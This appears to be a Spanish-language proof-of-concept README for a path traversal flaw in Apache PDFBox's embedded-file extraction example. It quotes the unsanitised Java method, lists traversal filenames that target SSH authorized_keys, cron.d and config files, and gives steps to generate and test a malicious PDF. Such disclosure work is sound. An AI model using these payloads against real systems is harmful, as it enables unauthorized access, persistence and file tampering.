
Prueba de concepto de explotación para la vulnerabilidad de path traversal en Apache PDFBox (CVE-2026-23907), que demuestra la escritura arbitraria de archivos mediante PDFs maliciosos con archivos incrustados.
El código de ejemplo ExtractEmbeddedFiles de Apache PDFBox no sanitiza los nombres de archivo al extraer archivos incrustados de PDFs. Un atacante puede incrustar archivos con secuencias de path traversal (../) para escribir archivos en ubicaciones arbitrarias del sistema de archivos.
Archivo: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
El parámetro filename proviene directamente del PDF sin validación.
Inyección de Claves SSH
../../.ssh/authorized_keysInyección de Trabajos Cron
../../../etc/cron.d/maliciousSobrescritura de Configuración
../../config/database.ymlcreate_malicious_pdf.py - Genera un PDF malicioso con path traversalTestPathTraversal.java - Demuestra la vulnerabilidadtest_path_traversal.sh - Script de prueba automatizadomalicious_path_traversal.pdf - PDF malicioso pre-generado./test_path_traversal.sh
# 1. Generar PDF malicioso
python3 create_malicious_pdf.py
# 2. Compilar la prueba (requiere el JAR de PDFBox)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. Ejecutar la prueba
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. Verificar el path traversal
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.javaPDComplexFileSpecification.getFilename() sin sanitización